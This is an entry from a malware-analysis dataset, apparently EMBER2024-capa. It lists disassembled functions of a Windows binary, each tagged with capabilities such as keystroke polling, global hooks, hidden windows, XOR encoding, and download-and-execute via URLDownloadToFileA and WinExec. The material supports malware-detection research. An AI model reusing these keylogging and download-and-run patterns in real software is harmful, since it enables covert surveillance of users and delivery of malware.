joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45b0d4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x45b10c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45b0ed
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45b0fc
or bl, 4
test esi, 0x20000000
je 0x45b107
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4617b4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4617c6
add esp, 0xfffffff0
call fcn.004036b4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041cba0
mov eax, dword [0x4727f0]
mov dword [eax + 4], ebx
mov dword [eax], 0x461b58
mov eax, dword [0x4727fc]
mov dword [eax + 4], ebx
mov dword [eax], 0x461b64
mov eax, ebx
call fcn.00461b70
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x414e44]
call fcn.00403360
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x414e44]
call fcn.00403360
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x414e44]
call fcn.00403360
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x414e44]
call fcn.00403360
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x414e44]
call fcn.00403360
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x45df8c
push eax
push 0
push 0
mov eax, dword [0x47294c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41e61c]
call fcn.0041fcb8
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41e61c]
call fcn.0041fcb8
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41e61c]
call fcn.0041fcb8
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00461f90
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x461e6c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x461e6c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x461e6c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x461903
call fcn.0040370c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x461c50
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x461dfb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x461ddc
mov dl, 1
mov eax, dword [0x415260]
call fcn.00403360
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040415c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x461dcb
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044fc84
test al, al
je 0x461dbe
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x461e0c
lea eax, [ebp - 0x254]
call fcn.00409180
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x461dbe
xor eax, eax
push ebp
push 0x461db7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x461e44
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x461da0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004043cc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x461da0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004043cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461dbe
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x461cc1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00418d3c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461e02
lea eax, [ebp - 0x260]
call fcn.0040415c
ret

Function at 0x462730
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x473bc0]
cmp byte [eax + 0xa5], 0
jne 0x4627a1
cmp dword [0x473bd8], 0
jne 0x462762
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4626ec
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x473bd8], eax
cmp dword [0x473bd4], 0
jne 0x46277d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x473bd4], eax
cmp dword [0x473bdc], 0
jne 0x4627a1
push esp
push 0
push 0
push 0x462690
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x473bdc], eax
pop edx
ret
Function at 0x462898
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4628af
add esp, 0xfffffff0
call fcn.004036b4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041cba0
mov eax, dword [0x472938]
cmp word [eax + 2], 0
jne 0x4628d7
mov eax, dword [0x472938]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00463dec
mov eax, dword [0x4729f0]
cmp word [eax + 2], 0
jne 0x4628f1
mov eax, dword [0x4729f0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00463fe4
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x414e44]
call fcn.00403360
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x414e44]
call fcn.00403360
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41f024]
call fcn.00426474
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x462a78
mov eax, dword [0x472858]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00426844
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x464584
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x472858]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c8c4
test eax, eax
je 0x4629e6
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408b60
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c8ec
test eax, eax
je 0x4629fa
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004043cc
mov eax, dword [0x47272c]
cmp byte [eax], 0
jne 0x462a2e
mov eax, ebx
call fcn.00462ba0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00464760
mov eax, ebx
call fcn.00465124
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x462a6e
call fcn.0040370c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x462e20
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x473bc0]
cmp dword [eax + 0x30], 0
je 0x462eca
cmp dword [ebx + 0x94], 0
jne 0x462ec4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x462db0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x462ec4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x462e8a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x462ec4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004171ac
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x462e99
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x463a2c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x463a61
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040424c
jmp 0x463a6e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004041b0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x46493c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x46497d
mov eax, esi
call fcn.0044b48c
test al, al
je 0x46497d
mov eax, dword [ebx + 0x84]
call fcn.0044b22c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x46497d
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044b22c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x466a94
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x108], edx
mov edi, eax
xor eax, eax
push ebp
push 0x466c6a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
cmp dword [edi + 0x38], 0
jne 0x466c51
mov eax, dword [edi + 0x30]
call fcn.0040441c
test eax, eax
jne 0x466aea
mov eax, dword [edi + 0x34]
call fcn.0040441c
test eax, eax
jne 0x466aea
mov eax, edi
call fcn.00466d08
jmp 0x466c51
cmp dword [edi + 0xa0], 0
jne 0x466b21
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x30]
call fcn.00408bbc
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x473be4]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa0], eax
cmp dword [edi + 0xa4], 0
jne 0x466b58
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x34]
call fcn.00408bbc
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x473be4]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa4], eax
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.00466d48
mov ebx, eax
test bl, bl
jne 0x466c06
mov eax, dword [edi + 0x30]
call fcn.0040441c
test eax, eax
jne 0x466b90
mov eax, dword [edi + 0xc0]
call fcn.0040441c
test eax, eax
je 0x466c06
mov eax, dword [edi + 0xc0]
call fcn.0040441c
test eax, eax
je 0x466bb2
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0xc0]
call fcn.00408bbc
jmp 0x466bde
push dword [edi + 0x30]
push 0x466c84
push dword [edi + 0x34]
lea eax, [ebp - 0x108]
mov edx, 3
call fcn.004044dc
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 0x101]
call fcn.00408bbc
push 7
lea eax, [ebp - 0x101]
push eax
call sub.kernel32.dll_WinExec
cmp eax, 0x20
jb 0x466c06
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.00466d48
mov ebx, eax
test bl, bl
jne 0x466c13
mov eax, edi
call fcn.00466d08
jmp 0x466c51
mov eax, dword [edi + 0x58]
test eax, eax
je 0x466c22
mov dword [edi + 0xa8], eax
jmp 0x466c2c
mov dword [edi + 0xa8], 1
mov eax, edi
call fcn.00466dc0
test al, al
je 0x466c51
mov eax, edi
mov si, 0xffee
call fcn.0040358c
xor ecx, ecx
xor edx, edx
mov eax, edi
call fcn.00466f90
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x466c71
lea eax, [ebp - 0x108]
call fcn.0040415c
ret
Function at 0x469578
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, 0x473e10
xor eax, eax
push ebp
push 0x469763
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov ecx, 0x46977c
mov edx, dword [0x473c68]
call fcn.00404468
mov eax, dword [ebp - 0xc]
call fcn.004087f4
test al, al
jne 0x469748
push 0xffff
lea eax, [ebp - 0x10]
mov ecx, 0x46977c
mov edx, dword [0x473c68]
call fcn.00404468
mov ecx, dword [ebp - 0x10]
mov dl, 1
mov eax, dword [0x415460]
call fcn.004192a0
mov ebx, eax
mov byte [ebp - 1], 0x7b
lea edx, [ebp - 1]
mov ecx, 1
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x10]
mov dword [esi], 0x2b065b
call sub.kernel32.dll_GetTickCount_1
add eax, 0x315bd5
mov dword [0x473e14], eax
mov dword [esi], 0x2699f7
mov eax, 0x1446a0
call fcn.00402da8
mov dword [esi], eax
mov eax, 0xab5ab
call fcn.00402da8
mov dword [esi], eax
mov dword [0x473e14], 0x1f7da2
mov dword [esi], 0xb9b94
mov eax, ebx
call fcn.00403390
push dword [0x473c68]
call sub.kernel32.dll_GetTickCount_1
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x14]
call fcn.004083d8
push dword [ebp - 0x14]
push 0x46979c
lea eax, [ebp - 8]
mov edx, 3
call fcn.004044dc
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.0040461c
mov ebx, eax
push ebx
mov eax, dword [0x472704]
call fcn.0040461c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov eax, dword [0x473e14]
call fcn.00402da8
add eax, 0x1da255
mov dword [esi], eax
mov dword [0x473e14], 0x15217e
mov dword [0x473e14], 0x304c4d
mov dword [esi], 0x2ca259
mov eax, 0x3d3fc0
call fcn.00402da8
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x27682a
mov dword [0x473e14], eax
push 1
push ebx
call sub.kernel32.dll_WinExec
call sub.kernel32.dll_GetTickCount_1
add eax, 0x5e273
mov dword [0x473e14], eax
mov eax, 0x263f8
call fcn.00402da8
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1db1e8
mov dword [0x473e14], eax
mov dword [esi], 0x305d30
mov dword [0x473e14], 0x3258ae
mov dword [0x473e14], 0x1f41de
mov eax, 0x7db1b
call fcn.00402da8
mov dword [esi], eax
mov eax, 0x91d49
call fcn.00402da8
mov dword [esi], eax
mov dword [0x473e14], 0x254e18
mov dword [esi], 0x11dcc4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46976a
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404180
ret
Function at 0x469c98
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x469d88
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x469d9c
call fcn.00404760
test eax, eax
jne 0x469ce8
push 9
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x469d6d
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x469d9c
call fcn.00404760
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040467c
mov edx, dword [ebp - 4]
mov eax, 0x469d9c
call fcn.00404760
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.004046bc
mov dword [0x473e10], 0xf4a95
mov dword [0x473e10], 0x3de217
mov dword [0x473e14], 0x1daa60
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.004041f4
push 9
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040461c
push eax
mov eax, dword [ebp - 8]
call fcn.0040461c
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469d8f
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404180
ret
Function at 0x46a944
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407360]
call fcn.00404ac8
mov esi, 0x473e10
mov edi, 0x473e14
xor eax, eax
push ebp
push 0x46aae5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x257]
xor ecx, ecx
mov edx, 0xfb
call fcn.00402d88
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x257]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x257]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46aafc
call fcn.00404424
mov dword [esi], 0x2f683e
mov eax, dword [edi]
call fcn.00402da8
add eax, 0x375b1e
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1b1e04
mov dword [edi], eax
mov dword [esi], 0x18c881
mov eax, 0x329763
call fcn.00402da8
mov dword [esi], eax
lea eax, [ebp - 0x25c]
mov ecx, 0x46ab08
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x25c]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.0040888c
mov ebx, eax
test ebx, ebx
jne 0x46aaa3
lea eax, [ebp - 0x260]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x260]
call fcn.0040891c
lea eax, [ebp - 0x15c]
call fcn.004088dc
mov ebx, eax
mov dword [esi], 0x196f0
call sub.kernel32.dll_GetTickCount_1
add eax, 0x150890
mov dword [edi], eax
mov eax, dword [edi]
call fcn.00402da8
add eax, 0x3bbebb
mov dword [esi], eax
mov eax, dword [edi]
call fcn.00402da8
add eax, 0x122fdb
mov dword [esi], eax
mov dword [edi], 0x3ff157
mov dword [esi], 0x4f12b
mov dword [0x473e20], 0x8bcb212c
test ebx, ebx
je 0x46aa2f
lea eax, [ebp - 0x15c]
call fcn.00408900
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46aaec
lea eax, [ebp - 0x260]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407360]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46ab10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa3c
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x5c0], edx
mov dword [ebp - 0x5c4], edx
mov dword [ebp - 0x5bc], edx
mov dword [ebp - 0x5b8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov ebx, eax
lea eax, [ebp - 0x16c]
mov edx, dword [0x407360]
call fcn.00404ac8
mov esi, 0x473e10
xor eax, eax
push ebp
push 0x46ad54
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040415c
lea edx, [ebp - 8]
mov eax, dword [0x472788]
call fcn.004686b8
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, 0x46ad64
call fcn.00405ac0
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
mov ecx, 0x46ad74
call fcn.00405ac0
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x267]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46ad8c
call fcn.00404424
lea eax, [ebp - 0x5b8]
mov ecx, 0x46ad98
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5b8]
lea ecx, [ebp - 0x16c]
mov edx, 0x3f
call fcn.0040888c
test eax, eax
jne 0x46acf2
lea eax, [ebp - 0x5bc]
mov ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5bc]
lea edx, [ebp - 0x5b2]
mov ecx, 0x20a
call fcn.00404f34
push 0
lea eax, [ebp - 0x5b2]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
mov eax, dword [0x473e14]
call fcn.00402da8
add eax, 0x3ea80d
mov dword [esi], eax
mov dword [esi], 0x194cdf
mov dword [esi], 0x25704f
push 2
lea eax, [ebp - 0x3a8]
push eax
push 0xfb
lea eax, [ebp - 0x267]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
lea eax, [ebp - 0x14]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
mov eax, dword [ebp - 0x14]
call fcn.004087f4
test al, al
je 0x46acdf
lea edx, [ebp - 0x5c4]
mov eax, dword [ebp - 0x14]
call fcn.00408a20
mov eax, dword [ebp - 0x5c4]
lea edx, [ebp - 0x5c0]
call fcn.0040800c
mov eax, dword [ebp - 0x5c0]
mov edx, 0x46ada8
call fcn.00404568
jne 0x46acdf
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.004041b0
lea eax, [ebp - 0x16c]
call fcn.00408900
jmp 0x46acfd
lea eax, [ebp - 0x16c]
call fcn.004088dc
test eax, eax
je 0x46ac01
lea eax, [ebp - 0x16c]
call fcn.00408900
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46ad5b
lea eax, [ebp - 0x5c4]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x16c]
mov edx, dword [0x407360]
call fcn.00404b98
lea eax, [ebp - 0x14]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.00405a7c
lea eax, [ebp - 0xc]
call fcn.00405a7c
lea eax, [ebp - 8]
call fcn.00405a7c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46adb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46ae42
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.0040415c
mov eax, dword [ebp - 4]
call fcn.0040441c
mov ebx, eax
test ebx, ebx
jbe 0x46ae13
mov esi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dl, byte [edx + esi - 1]
xor dl, 1
call fcn.00404344
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00404424
inc esi
dec ebx
jne 0x46adf2
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.004041b0
mov dword [0x473e20], 0xd11
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46ae49
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404180
ret
Function at 0x46b31c
Capabilities:
Create process on windows
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407360]
call fcn.00404ac8
mov ebx, 0x473e10
mov esi, 0x473e14
xor eax, eax
push ebp
push 0x46b568
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0
lea edx, [ebp - 0x22c]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0x22c]
call fcn.0040461c
push eax
call sub.kernel32.dll_MoveFileExA
push 0xc8
lea eax, [ebp - 0x225]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 4]
lea edx, [ebp - 0x225]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46b580
call fcn.00404424
lea eax, [ebp - 0x230]
mov ecx, 0x46b58c
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.0040888c
lea eax, [ebp - 0x15c]
call fcn.004088dc
call sub.kernel32.dll_GetTickCount_1
add eax, 0x3b188a
mov dword [esi], eax
mov dword [ebx], 0x3868fa
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x389824
mov dword [ebx], eax
mov dword [ebx], 0x380187
mov dword [esi], 0x1fe5b6
mov eax, 0x3e03cf
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x3dc297
mov dword [esi], eax
mov eax, 0x3412b8
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x394247
mov dword [esi], eax
mov dword [esi], 0x80d96
mov eax, 0x85687
call fcn.00402da8
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x27c579
mov dword [ebx], eax
mov dword [ebx], 0x1ed4eb
call sub.kernel32.dll_GetTickCount_1
add eax, 0x215426
mov dword [esi], eax
mov dword [ebx], 0x140ee0
mov dword [esi], 0xa6ea9
mov dword [ebx], 0x10ec03
mov dword [ebx], 0x263c1a
mov eax, 0x28585e
call fcn.00402da8
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x254193
mov dword [ebx], eax
mov dword [esi], 0x347162
mov dword [ebx], 0x3149d7
mov eax, 0x37a19b
call fcn.00402da8
mov dword [ebx], eax
jmp 0x46b505
lea eax, [ebp - 0x238]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x238]
call fcn.0040461c
mov edx, eax
lea eax, [ebp - 0x234]
call fcn.00404354
mov eax, dword [ebp - 0x234]
call fcn.0040891c
lea eax, [ebp - 0x15c]
call fcn.004088dc
test eax, eax
je 0x46b4ce
push 0
push 0x46b590
call sub.kernel32.dll_WinExec
mov dword [0x473e20], 4
mov byte [0x473c15], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b56f
lea eax, [ebp - 0x238]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407360]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret